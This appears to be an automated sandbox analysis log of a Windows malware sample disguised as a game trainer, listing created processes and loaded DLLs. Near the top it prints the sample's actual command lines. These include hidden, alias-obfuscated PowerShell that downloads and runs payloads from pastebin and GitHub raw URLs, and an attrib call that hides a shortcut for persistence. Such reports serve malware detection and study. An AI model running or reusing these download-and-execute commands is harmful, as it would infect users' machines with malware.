Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8530.tmp" "c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
